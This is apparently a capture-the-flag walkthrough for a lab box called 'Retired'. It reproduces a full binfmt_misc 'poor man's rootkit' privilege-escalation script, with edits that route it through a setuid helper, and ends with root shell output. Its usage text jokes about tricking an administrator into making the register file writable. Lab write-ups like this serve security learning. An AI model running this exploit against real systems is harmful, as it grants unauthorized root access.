dev@retired:~$ cd emuemu/dev@retired:~/emuemu$ lsMakefile README.md emuemu emuemu.c reg_helper reg_helper.c testdev@retired:~/emuemu$ cat reg_helper.c #define _GNU_SOURCE#include <fcntl.h>#include <stdio.h>#include <string.h>#include <sys/stat.h>#include <sys/types.h>#include <unistd.h>int main(void) { char cmd[512] = { 0 }; read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0; int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY); if (-1 == fd) perror("open"); if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1) perror("write"); if (close(fd) == -1) perror("close"); return 0;}dev@retired:~/emuemu$
- Okay look like it is a wrapper for /proc/sys/fs/binfmt_misc/register lets look up exploits for this: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts
- Reading that article we come to the following github https://github.com/toffan/binfmt_misc
- In there exploit they perform a "Poor mans root kit" to obtian a root shell.
#!/bin/bash# source: https://github.com/toffan/binfmt_misc/blob/master/binfmt_rootkitreadonly searchsuid="/bin/"readonly mountpoint="/proc/sys/fs/binfmt_misc"readonly exe="$0"warn(){ 1>&2 echo $@}die(){ warn $@ exit -1}usage(){ cat 1>&2 <<EOFUsage: $exe Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable, note that it must be enforced by any other mean before your try this, for example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is thinking that you are fixing his problem.EOF exit 1}function not_writeable(){ test ! -w "$mountpoint/register"}function pick_suid(){ find "$1" -perm -4000 -executable \ | tail -n 1}function read_magic(){ [[ -e "$1" ]] && \ [[ "$2" =~ [[:digit:]]+ ]] && \ dd if="$1" bs=1 count="$2" status=none \ | sed -e 's-\x00-\\x00-g'}[[ -n "$1" ]] && usagenot_writeable && die "Error: $mountpoint/register is not writeable"target="$(pick_suid "$searchsuid")"test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"binfmt_magic="$(read_magic "$target" "126")"test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"fmtname="$(mktemp -u XXXX)"fmtinterpr="$(mktemp)"gcc -o "$fmtinterpr" -xc - <<- __EOF__ #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <pwd.h> int main(int argc, char *argv[]) { // remove our temporary file unlink("$fmtinterpr"); // remove the unused binary format FILE* fmt = fopen("$mountpoint/$fmtname", "w"); fprintf(fmt, "-1\\n"); fclose(fmt); // MOTD setuid(0); uid_t uid = getuid(); uid_t euid = geteuid(); struct passwd *pw = getpwuid(uid); struct passwd *epw = getpwuid(euid); fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n", uid, pw->pw_name, euid, epw->pw_name); // welcome home char* sh[] = {"/bin/sh", (char*) 0}; execvp(sh[0], sh); return 1; }__EOF__chmod a+x "$fmtinterpr"binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"echo "$binfmt_line" > "$mountpoint"/registerexec "$target"
- In order for this to work we need to take out the below code:
# Line 52 not_writeable && die "Error: $mountpoint/register is not writeable"
- And change the below code on line 101
# Old code:echo "$binfmt_line" > "$mountpoint"/register# New code:echo "$binfmt_line" | /usr/lib/emuemu/reg_helper
- After we run the script locally on the machine we have root!
dev@retired:~/emuemu$ chmod +x evil dev@retired:~/emuemu$ ./evil uid=0(root) euid=0(root)# cd /root# whoamiroot# ls -alhtotal 28Kdrwx------ 3 root root 4.0K Jul 31 21:04 .drwxr-xr-x 18 root root 4.0K Mar 11 14:52 ..lrwxrwxrwx 1 root root 9 Oct 13 2021 .bash_history -> /dev/null-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrcdrwxr-xr-x 3 root root 4.0K Mar 11 14:36 .local-rw-r--r-- 1 root root 161 Jul 9 2019 .profile-rwxr-xr-x 1 root root 135 Mar 11 13:22 cleanup.sh-rw-r----- 1 root root 33 Jul 31 21:04 root.txt